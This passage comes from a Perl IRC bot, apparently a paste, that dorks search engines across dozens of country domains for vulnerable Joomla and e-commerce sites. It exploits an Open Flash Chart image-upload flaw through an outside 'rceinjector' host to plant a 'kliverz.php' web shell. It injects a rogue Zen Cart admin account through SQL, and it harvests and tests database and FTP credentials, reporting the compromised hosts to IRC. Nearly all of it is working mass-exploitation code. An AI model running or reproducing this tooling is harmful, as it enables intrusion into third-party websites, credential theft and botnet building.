  1718. &msg("$chan","$letterlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1719.  
  1720. my $letterv = "http://wibo.pl/administrator/components/components/rcex.php?url=";
  1721. my $type = $rceinjector."?url=".$site."&type=letter";
  1722.  
  1723.  
  1724. my $cekk = &get_content($type);
  1725. $check = &get_content($lettershell."?kliverz");
  1726. &get_content($lettershell."?delete");
  1727. &get_content($lettershell."?botnet");
  1728. if ($cekk =~ /sukses bos kliverz/i){
  1729. if ($check =~ /Indramayu CyBer/) { my $safe = ""; my $os = ""; my $uid = "";
  1730.  
  1731. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1732. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1733. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1734. &msg("$chan","$letterlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1735. &msg("$nama","$letterlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $lettershell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1736.  
  1737. }
  1738. }
  1739.  
  1740. }
  1741. } exit; }
  1742. }
  1743. }
  1744. }
  1745.  
  1746. sub civicrm_exploit() {
  1747. my $chan = $_[0];
  1748. my $bug = $_[1];
  1749. my $simpan = $_[2];
  1750. my $dork = $_[3];
  1751. my $engine = $_[4];
  1752. my $count = 0;
  1753. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$civicrmlogo);
  1754. my $num = scalar(@totexploit);
  1755. if ($num > 0){
  1756. foreach my $site(@totexploit){
  1757. $count++;
  1758. if ($count == $num-1) { &msg("$chan","$civicrmlogo15$engine 9Finished 15for 9$dork "); }
  1759.  
  1760. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1761. my $nama = $simpan;
  1762. my $civicrmshell = "http://".$site."/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/kliverz.php";
  1763.  
  1764. my $civicrms = "http://".$site."/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php";
  1765. my $cek = &get_content($civicrms);
  1766. if ($cek =~ /Saving your image/i){
  1767. &msg("$chan","$civicrmlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1768.  
  1769. my $type = $rceinjector."?url=".$site."&type=civi";
  1770.  
  1771.  
  1772. my $cekk = &get_content($type);
  1773. $check = &get_content($civicrmshell."?kliverz");
  1774. &get_content($civicrmshell."?delete");
  1775. &get_content($civicrmshell."?botnet");
  1776. if ($cekk =~ /sukses bos kliverz/i){
  1777. if ($check =~ /Indramayu CyBer/) { my $safe = ""; my $os = ""; my $uid = "";
  1778.  
  1779. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1780. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1781. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1782. &msg("$chan","$civicrmlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1783. &msg("$nama","$civicrmlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $civicrmshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1784.  
  1785. }
  1786. }
  1787.  
  1788. }
  1789. } exit; }
  1790. }
  1791. }
  1792. }
  1793. sub livecart_exploit() {
  1794. my $chan = $_[0];
  1795. my $bug = $_[1];
  1796. my $simpan = $_[2];
  1797. my $dork = $_[3];
  1798. my $engine = $_[4];
  1799. my $count = 0;
  1800. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$livecartlogo);
  1801. my $num = scalar(@totexploit);
  1802. if ($num > 0){
  1803. foreach my $site(@totexploit){
  1804. $count++;
  1805. if ($count == $num-1) { &msg("$chan","$livecartlogo15$engine 9Finished 15for 9$dork "); }
  1806.  
  1807. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1808. my $nama = $simpan;
  1809. my $livecartshell = "http://".$site."/library/tmp-upload-images/kliverz.php";
  1810.  
  1811. my $livecarts = "http://".$site."/library/openFlashChart/ofc_upload_image.php";
  1812. my $cek = &get_content($livecarts);
  1813. if ($cek =~ /Saving your image/i){
  1814. &msg("$chan","$livecartlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1815.  
  1816. my $type = $rceinjector."?url=".$site."&type=livecart";
  1817.  
  1818. my $cekk = &get_content($type);
  1819. $check = &get_content($livecartshell."?kliverz");
  1820. &get_content($livecartshell."?delete");
  1821. &get_content($livecartshell."?botnet");
  1822.  
  1823. if ($cekk =~ /sukses bos kliverz/i){
  1824. if ($check =~ /Indramayu CyBer/i) { my $safe = ""; my $os = ""; my $uid = "";
  1825.  
  1826. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1827. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1828. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1829. &msg("$chan","$livecartlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1830. &msg("$nama","$livecartlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $livecartshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1831.  
  1832. }
  1833. }
  1834. }
  1835. } exit; }
  1836. }
  1837. }
  1838. }
  1839. sub maian15_exploit() {
  1840. my $chan = $_[0];
  1841. my $bug = $_[1];
  1842. my $simpan = $_[2];
  1843. my $dork = $_[3];
  1844. my $engine = $_[4];
  1845. my $count = 0;
  1846. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$maian15logo);
  1847. my $num = scalar(@totexploit);
  1848. if ($num > 0){
  1849. foreach my $site(@totexploit){
  1850. $count++;
  1851. if ($count == $num-1) { &msg("$chan","$maian15logo15$engine 9Finished 15for 9$dork "); }
  1852.  
  1853. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1854. my $nama = $simpan;
  1855. my $maian15shell = "http://".$site."/administrator/components/com_maian15/charts/tmp-upload-images/kliverz.php";
  1856.  
  1857. my $maian15s = "http://".$site."/administrator/components/com_maian15/charts/php-ofc-library/ofc_upload_image.php";
  1858. my $cek = &get_content($maian15s);
  1859. if ($cek =~ /Saving your image/i){
  1860. &msg("$chan","$maian15logo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1861.  
  1862. my $type = $rceinjector."?url=".$site."&type=maian15";
  1863.  
  1864. my $cekk = &get_content($type);
  1865. $check = &get_content($maian15shell."?kliverz");
  1866. &get_content($maian15shell."?delete");
  1867. &get_content($maian15shell."?botnet");
  1868.  
  1869. if ($cekk =~ /sukses bos kliverz/i){
  1870. if ($check =~ /Indramayu CyBer/i) { my $safe = ""; my $os = ""; my $uid = "";
  1871.  
  1872. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1873. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1874. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1875. &msg("$chan","$maian15logo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1876. &msg("$nama","$maian15logo15$engine 4<9=4>9 sHeLL 4<9=4>9 $maian15shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1877.  
  1878. }
  1879. }
  1880. }
  1881. } exit; }
  1882. }
  1883. }
  1884. }
  1885. sub acy_exploit() {
  1886. my $chan = $_[0];
  1887. my $bug = $_[1];
  1888. my $simpan = $_[2];
  1889. my $dork = $_[3];
  1890. my $engine = $_[4];
  1891. my $count = 0;
  1892. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$acylogo);
  1893. my $num = scalar(@totexploit);
  1894. if ($num > 0){
  1895. foreach my $site(@totexploit){
  1896. $count++;
  1897. if ($count == $num-1) { &msg("$chan","$acylogo15$engine 9Finished 15for 9$dork "); }
  1898.  
  1899. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1900. my $nama = $simpan;
  1901. my $acyshell = "http://".$site."/administrator/components/com_acymailing/inc/openflash/tmp-upload-images/kliverz.php";
  1902.  
  1903. my $acys = "http://".$site."/administrator/components/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php";
  1904. my $cek = &get_content($acys);
  1905. if ($cek =~ /Saving your image/i){
  1906. &msg("$chan","$acylogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1907.  
  1908. my $type = $rceinjector."?url=".$site."&type=acy";
  1909.  
  1910.  
  1911. my $cekk = &get_content($type);
  1912. $check = &get_content($acyshell."?kliverz");
  1913. &get_content($acyshell."?delete");
  1914. &get_content($acyshell."?botnet");
  1915. if ($cekk =~ /sukses bos kliverz/i){
  1916. if ($check =~ /Indramayu CyBer/) { my $safe = ""; my $os = ""; my $uid = "";
  1917.  
  1918. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1919. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1920. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1921. &msg("$chan","$acylogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1922. &msg("$nama","$acylogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $acyshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1923.  
  1924. }
  1925. }
  1926.  
  1927. }
  1928. } exit; }
  1929. }
  1930. }
  1931. }
  1932.  
  1933. sub jinc_exploit() {
  1934. my $chan = $_[0];
  1935. my $bug = $_[1];
  1936. my $simpan = $_[2];
  1937. my $dork = $_[3];
  1938. my $engine = $_[4];
  1939. my $count = 0;
  1940. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jinclogo);
  1941. my $num = scalar(@totexploit);
  1942. if ($num > 0){
  1943. foreach my $site(@totexploit){
  1944. $count++;
  1945. if ($count == $num-1) { &msg("$chan","$jinclogo15$engine 9Finished 15for 9$dork "); }
  1946.  
  1947. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1948. my $nama = $simpan;
  1949. my $jincshell = "http://".$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/kliverz.php";
  1950.  
  1951. my $jincs = "http://".$site."/administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php";
  1952. my $cek = &get_content($jincs);
  1953. if ($cek =~ /Saving your image/i){
  1954. &msg("$chan","$jinclogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1955.  
  1956. my $type = $rceinjector."?url=".$site."&type=jinc";
  1957.  
  1958.  
  1959. my $cekk = &get_content($type);
  1960. $check = &get_content($jincshell."?kliverz");
  1961. &get_content($jincshell."?delete");
  1962. &get_content($jincshell."?botnet");
  1963. if ($cekk =~ /sukses bos kliverz/i){
  1964. if ($check =~ /Indramayu CyBer/) { my $safe = ""; my $os = ""; my $uid = "";
  1965.  
  1966. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1967. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1968. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1969. &msg("$chan","$jinclogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1970. &msg("$nama","$jinclogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $jincshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1971.  
  1972. }
  1973.  
  1974. }
  1975.  
  1976. }
  1977. } exit; }
  1978. }
  1979. }
  1980. }
  1981.  
  1982.  
  1983. sub jnews_exploit() {
  1984. my $chan = $_[0];
  1985. my $bug = $_[1];
  1986. my $simpan = $_[2];
  1987. my $dork = $_[3];
  1988. my $engine = $_[4];
  1989. my $count = 0;
  1990. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jnewslogo);
  1991. my $num = scalar(@totexploit);
  1992. if ($num > 0){
  1993. foreach my $site(@totexploit){
  1994. $count++;
  1995. if ($count == $num-1) { &msg("$chan","$jnewslogo15$engine 9Finished 15for 9$dork "); }
  1996.  
  1997. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1998. my $nama = $simpan;
  1999. my $jnewsshell = "http://".$site."/components/com_jnews/includes/openflashchart/tmp-upload-images/kliverz.php";
  2000.  
  2001. my $jnewss = "http://".$site."/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php";
  2002. my $cek = &get_content($jnewss);
  2003. if ($cek =~ /Saving your image/i){
  2004. &msg("$chan","$jnewslogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  2005.  
  2006. my $type = $rceinjector."?url=".$site."&type=jnews";
  2007.  
  2008.  
  2009. my $cekk = &get_content($type);
  2010. $check = &get_content($jnewsshell."?kliverz");
  2011. &get_content($jnewsshell."?delete");
  2012. &get_content($jnewsshell."?botnet");
  2013.  
  2014. if ($cekk =~ /sukses bos kliverz/i){
  2015. if ($check =~ /Indramayu CyBer/) { my $safe = ""; my $os = ""; my $uid = "";
  2016.  
  2017. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2018. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2019. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2020. &msg("$chan","$jnewslogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  2021. &msg("$nama","$jnewslogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $jnewsshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2022.  
  2023. }
  2024. }
  2025. }
  2026. } exit; }
  2027. }
  2028. }
  2029. }
  2030. sub zen_exploit() {
  2031. my $chan = $_[0];
  2032. my $bug = $_[1];
  2033. my $simpan = $_[2];
  2034. my $dork = $_[3];
  2035. my $engine = $_[4];
  2036. my $count = 0;
  2037. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
  2038. my $num = scalar(@totexploit);
  2039. if ($num > 0){
  2040. foreach my $site(@totexploit){
  2041. $count++;
  2042. if ($count == $num-1) { &msg("$chan","$zenlogo15$engine 9Finished 15for 9$dork "); }
  2043.  
  2044. my $test = "http://".$site.$bug;
  2045. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2046. my $html = &get_content($test);
  2047. if ($html =~ /zc_install/){
  2048. &msg("$chan","$zenlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15 ");
  2049. &zen_query($chan,$site,$test,$engine,$simpan);
  2050. }
  2051. } exit; }
  2052. }
  2053. }
  2054. }
  2055.  
  2056. sub zen_query() {
  2057. my $chan = $_[0];
  2058. my $url = $_[1];
  2059. my $test = $_[2];
  2060. my $engine = $_[3];
  2061. my $simpan = $_[4];
  2062. my $code = "INSERT INTO admin (admin_id, admin_name, admin_email, admin_pass) VALUES (2283,'abc','localhost','617ec22fbb8f201c366e9848c0eb6925:87');";
  2063. my $req = HTTP::Request->new(POST => $test);
  2064. my $nama = $simpan;
  2065.  
  2066. $req->content_type("application/x-www-form-urlencoded");
  2067. $req->content("query_string=".$code);
  2068. my $ua = LWP::UserAgent->new(agent => $uagent);
  2069. $ua->timeout(3);
  2070. my $res = $ua->request($req);
  2071. my $data = $res->as_string;
  2072. if ( $data =~ /1 statements processed/i ) {
  2073. my $vuln = "http://".$url."admin/login.php";
  2074. my $user = "abc";
  2075. my $pass = "wew";
  2076. &msg("$chan","$zenlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (USER=$user) (PASS=$pass) ");
  2077. &msg("$nama","$zenlogo15$engine 4<9=4>9 Admin login 4<9=4>9 $vuln15 (USER=$user) (PASS=$pass) ");
  2078. &msg("$admin","$zenlogo15$engine 4<9=4>9 Admin login 4<9=4>9 $vuln15 (USER=$user) (PASS=$pass) ");
  2079.  
  2080. }
  2081. elsif ( $data =~ /Duplicate entry/i ) {
  2082. my $vuln = "http://".$url."admin/login.php";
  2083. my $user = "abc";
  2084. my $pass = "wew";
  2085. &msg("$chan","$zenlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (USER=$user) (PASS=$pass) ");
  2086. &msg("$nama","$zenlogo15$engine 4<9=4>9 Admin login (Lawas) 4<9=4>9 $vuln15 (USER=$user) (PASS=$pass) ");
  2087. &msg("$admin","$zenlogo15$engine 4<9=4>9 Admin login 4<9=4>9 $vuln15 (USER=$user) (PASS=$pass) ");
  2088.  
  2089. }
  2090. }
  2091.  
  2092.  
  2093. sub ftp_connect {
  2094. my $url = $_[0];
  2095. my $host = $_[1];
  2096. my $user = $_[2];
  2097. my $pass = $_[3];
  2098. my $chan = $_[4];
  2099. my $engine = $_[5];
  2100. my $logo = $_[6];
  2101. my $success = 1;
  2102. use Net::FTP;
  2103. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
  2104. $success = 0 if $ftp->login($user,$pass);
  2105. $ftp->quit;
  2106. if ($success == 0) {
  2107. &msg("$chanxxx","$logo15$engine 9<4=9>9 FTP 15[ 9http://".$host." 15] [4 ".$user.":".$pass." 15]");
  2108. }
  2109. }
  2110. sub dbi_connect () {
  2111. my $host = $_[0];
  2112. my $user = $_[1];
  2113. my $pass = $_[2];
  2114. my $dtbs = $_[3];
  2115. my $chan = $_[4];
  2116. my $engine = $_[5];
  2117. my $logo = $_[6];
  2118. my $port = "3306";
  2119. my $platform = "mysql";
  2120. my $dsn = "dbi:$platform:$dtbs:$host:$port";
  2121. my $DBIconnect= DBI->connect($dsn,$user,$pass);
  2122. if ($DBIconnect) {
  2123. &msg("$chanxxx","$logo15$engine 9<4=9>9 MySql 15[ 9http://".$host." 15] [4 Connected 15]");
  2124. }
  2125. }
  2126. sub getUserPass() {
  2127. my $string = $_[0];
  2128. my @lol = split("\r\n", $string);
  2129. my $pass = "";
  2130. my $user = "";
  2131. foreach my $line (@lol) {
  2132. if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  2133. $pass = $3;
  2134. }
  2135. if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  2136. $user = $3;
  2137. }
  2138. }
  2139. return $user.":Viva-Byroe.Net:".$pass;
  2140. }
  2141.  
  2142. sub getinfo() {
  2143. my $string = $_[0];
  2144. my @lol = split("\r\n", $string);
  2145. my $pass = "";
  2146. my $user = "";
  2147. my $dbs = "";
  2148. foreach my $line (@lol) {
  2149. if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  2150. $pass = $3;
  2151. }
  2152. if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  2153. $user = $3;
  2154. }
  2155. if(($line =~ m/db_name(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_name(.*?)=(.*?)"(.+?)";/i)) {
  2156. $dbs = $3;
  2157. }
  2158. }
  2159. return $user.":user:".$pass.":pass:".$dbs;
  2160. }
  2161.  
  2162. ##################################################################################
  2163.  
  2164. sub search_engine() {
  2165. my (@total,@clean);
  2166. my $chan = $_[0];
  2167. my $bug = $_[1];
  2168. my $dork = $_[2];
  2169. my $engine = $_[3];
  2170. my $logo = $_[4];
  2171. if ($gps == 1) {
  2172. if ($engine eq "JacKAE") { my @jackae = &jack1($dork."+site:ae"); push(@total,@jackae); }
  2173. if ($engine eq "JacKAR") { my @jackar = &jack2($dork."+site:ar"); push(@total,@jackar); }
  2174. if ($engine eq "JacKAT") { my @jackat = &jack3($dork."+site:at"); push(@total,@jackat); }
  2175. if ($engine eq "JacKAU") { my @jackau = &jack4($dork."+site:au"); push(@total,@jackau); }
  2176. if ($engine eq "JacKBR") { my @jackbr = &jack5($dork."+site:br"); push(@total,@jackbr); }
  2177. if ($engine eq "JacKCA") { my @jackca = &jack6($dork."+site:ca"); push(@total,@jackca); }
  2178. if ($engine eq "JacKCL") { my @jackcl = &jack7($dork."+site:cl"); push(@total,@jackcl); }
  2179. if ($engine eq "JacKCN") { my @jackcn = &jack8($dork."+site:cn"); push(@total,@jackcn); }
  2180. if ($engine eq "JacKCoM") { my @jackcom = &jack9($dork."+site:com"); push(@total,@jackcom); }
  2181. if ($engine eq "JacKCZ") { my @jackcz = &jack10($dork."+site:cz"); push(@total,@jackcz); }
  2182. if ($engine eq "JacKDE") { my @jackde = &jack1($dork."+site:de"); push(@total,@jackde); }
  2183. if ($engine eq "JacKDK") { my @jackdk = &jack2($dork."+site:dk"); push(@total,@jackdk); }
  2184. if ($engine eq "JacKES") { my @jackes = &jack3($dork."+site:es"); push(@total,@jackes); }
  2185. if ($engine eq "JacKEU") { my @jackeu = &jack4($dork."+site:eu"); push(@total,@jackeu); }
  2186. if ($engine eq "JacKFR") { my @jackfr = &jack5($dork."+site:fr"); push(@total,@jackfr); }
  2187. if ($engine eq "JacKHU") { my @jackhu = &jack6($dork."+site:hu"); push(@total,@jackhu); }
  2188. if ($engine eq "JacKID") { my @jackid = &jack7($dork."+site:id"); push(@total,@jackid); }
  2189. if ($engine eq "JacKIL") { my @jackil = &jack8($dork."+site:il"); push(@total,@jackil); }
  2190. if ($engine eq "JacKIN") { my @jackin = &jack9($dork."+site:in"); push(@total,@jackin); }
  2191. if ($engine eq "JacKInfO") { my @jackinfo = &jack10($dork."+site:info"); push(@total,@jackinfo); }
  2192. if ($engine eq "JacKIR") { my @jackir = &jack1($dork."+site:ir"); push(@total,@jackir); }
  2193. if ($engine eq "JacKIT") { my @jackit = &jack2($dork."+site:it"); push(@total,@jackit); }
  2194. if ($engine eq "JacKJP") { my @jackjp = &jack3($dork."+site:jp"); push(@total,@jackjp); }
  2195. if ($engine eq "JacKKR") { my @jackkr = &jack4($dork."+site:kr"); push(@total,@jackkr); }
  2196. if ($engine eq "JacKMX") { my @jackmx = &jack5($dork."+site:mx"); push(@total,@jackmx); }
  2197. if ($engine eq "JacKMY") { my @jackmy = &jack6($dork."+site:my"); push(@total,@jackmy); }
  2198. if ($engine eq "JacKNeT") { my @jacknet = &jack7($dork."+site:net"); push(@total,@jacknet); }
  2199. if ($engine eq "JacKNL") { my @jacknl = &jack8($dork."+site:nl"); push(@total,@jacknl); }
  2200. if ($engine eq "JacKOrG") { my @jackorg = &jack9($dork."+site:org"); push(@total,@jackorg); }
  2201. if ($engine eq "JacKPH") { my @jackph = &jack10($dork."+site:ph"); push(@total,@jackph); }
  2202. if ($engine eq "JacKPL") { my @jackpl = &jack1($dork."+site:pl"); push(@total,@jackpl); }
  2203. if ($engine eq "JacKRO") { my @jackro = &jack2($dork."+site:ro"); push(@total,@jackro); }
  2204. if ($engine eq "JacKRU") { my @jackru = &jack3($dork."+site:ru"); push(@total,@jackru); }
  2205. if ($engine eq "JacKTH") { my @jackth = &jack4($dork."+site:th"); push(@total,@jackth); }
  2206. if ($engine eq "JacKUA") { my @jackua = &jack5($dork."+site:ua"); push(@total,@jackua); }
  2207. if ($engine eq "JacKUK") { my @jackuk = &jack6($dork."+site:uk"); push(@total,@jackuk); }
  2208. if ($engine eq "JacKUS") { my @jackus = &jack7($dork."+site:us"); push(@total,@jackus); }
  2209. if ($engine eq "JacKSI") { my @jacksi = &jack8($dork."+site:si"); push(@total,@jacksi); }
  2210. if ($engine eq "JacKBE") { my @jackbe = &jack9($dork."+site:be"); push(@total,@jackbe); }
  2211. if ($engine eq "JacKBIZ") { my @jackbiz = &jack10($dork."+site:biz"); push(@total,@jackbiz); }
  2212. }
  2213.  
  2214.  
  2215. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  2216.  
  2217.  
  2218. if ($gps2 == 1) {
  2219. if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  2220. if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  2221. if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  2222. if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  2223. if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  2224. if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
  2225. if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  2226. if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  2227. if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  2228. if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  2229. if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  2230. if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  2231. if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  2232. }
  2233. @clean = &clean(@total);
  2234. if ($silentmode == 0) {
  2235. &msg("$chan","$logo15,1$engine 4,1 ".scalar(@clean)." 15Total Clean"); }
  2236. return @clean;
  2237. }
  2238. ##################################################################################
  2239. sub isFound() {
  2240. my $status = 0;
  2241. my $link = $_[0];
  2242. my $reqexp = $_[1];
  2243. my $res = &get_content($link);
  2244. if ($res =~ /$reqexp/) { $status = 1 }
  2245. return $status;
  2246. }
  2247.  
  2248. sub get_content() {
  2249. my $url = $_[0];
  2250. my $ua = LWP::UserAgent->new(agent => $uagent);
  2251. $ua->timeout($timot);
  2252. my $req = HTTP::Request->new(GET => $url);
  2253. my $res = $ua->request($req);
  2254. return $res->content;
  2255. }
  2256. ######################################### SEARCH ENGINE
  2257.  
  2258.  
  2259. sub jack1() {
  2260. my @list;
  2261. my $key = $_[0];
  2262. for (my $i=0; $i<=1000; $i+=100){
  2263. my $search = ($jack1.uri_escape($key)."&num=100&start=".$i);
  2264. my $res = &search_engine_query($search);
  2265. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2266. my $link = $1;
  2267. if ($link !~ /google/){
  2268. my @grep = &links($link);
  2269. push(@list,@grep);
  2270. }
  2271. }
  2272. }
  2273. return @list;
  2274. }
  2275. sub jack2() {
  2276. my @list;
  2277. my $key = $_[0];
  2278. for (my $i=0; $i<=1000; $i+=100){
  2279. my $search = ($jack2.uri_escape($key)."&num=100&start=".$i);
  2280. my $res = &search_engine_query($search);
  2281. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2282. my $link = $1;
  2283. if ($link !~ /google/){
  2284. my @grep = &links($link);
  2285. push(@list,@grep);
  2286. }
  2287. }
  2288. }
  2289. return @list;
  2290. }
  2291.  
  2292. sub jack3() {
  2293. my @list;
  2294. my $key = $_[0];
  2295. for (my $i=0; $i<=1000; $i+=100){
  2296. my $search = ($jack3.uri_escape($key)."&num=100&start=".$i);
  2297. my $res = &search_engine_query($search);
  2298. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2299. my $link = $1;
  2300. if ($link !~ /google/){
  2301. my @grep = &links($link);
  2302. push(@list,@grep);
  2303. }
  2304. }
  2305. }
  2306. return @list;
  2307. }
  2308.  
  2309. sub jack4() {
  2310. my @list;
  2311. my $key = $_[0];
  2312. for (my $i=0; $i<=1000; $i+=100){
  2313. my $search = ($jack4.uri_escape($key)."&num=100&start=".$i);
  2314. my $res = &search_engine_query($search);
  2315. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2316. my $link = $1;
  2317. if ($link !~ /google/){
  2318. my @grep = &links($link);
  2319. push(@list,@grep);
  2320. }
  2321. }
  2322. }
  2323. return @list;
  2324. }
  2325.  
  2326. sub jack5() {
  2327. my @list;
  2328. my $key = $_[0];
  2329. for (my $i=0; $i<=1000; $i+=100){
  2330. my $search = ($jack5.uri_escape($key)."&num=100&start=".$i);
  2331. my $res = &search_engine_query($search);
  2332. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2333. my $link = $1;
  2334. if ($link !~ /google/){
  2335. my @grep = &links($link);
  2336. push(@list,@grep);
  2337. }
  2338. }
  2339. }
  2340. return @list;
  2341. }
  2342.  
  2343. sub jack6() {
  2344. my @list;
  2345. my $key = $_[0];
  2346. for (my $i=0; $i<=1000; $i+=100){
  2347. my $search = ($jack6.uri_escape($key)."&num=100&start=".$i);
  2348. my $res = &search_engine_query($search);
  2349. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2350. my $link = $1;
  2351. if ($link !~ /google/){
  2352. my @grep = &links($link);
  2353. push(@list,@grep);
  2354. }
  2355. }
  2356. }
  2357. return @list;
  2358. }
  2359.  
  2360. sub jack7() {
  2361. my @list;
  2362. my $key = $_[0];
  2363. for (my $i=0; $i<=1000; $i+=100){
  2364. my $search = ($jack7.uri_escape($key)."&num=100&start=".$i);
  2365. my $res = &search_engine_query($search);
  2366. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2367. my $link = $1;
  2368. if ($link !~ /google/){
  2369. my @grep = &links($link);
  2370. push(@list,@grep);
  2371. }
  2372. }
  2373. }
  2374. return @list;
  2375. }
  2376.  
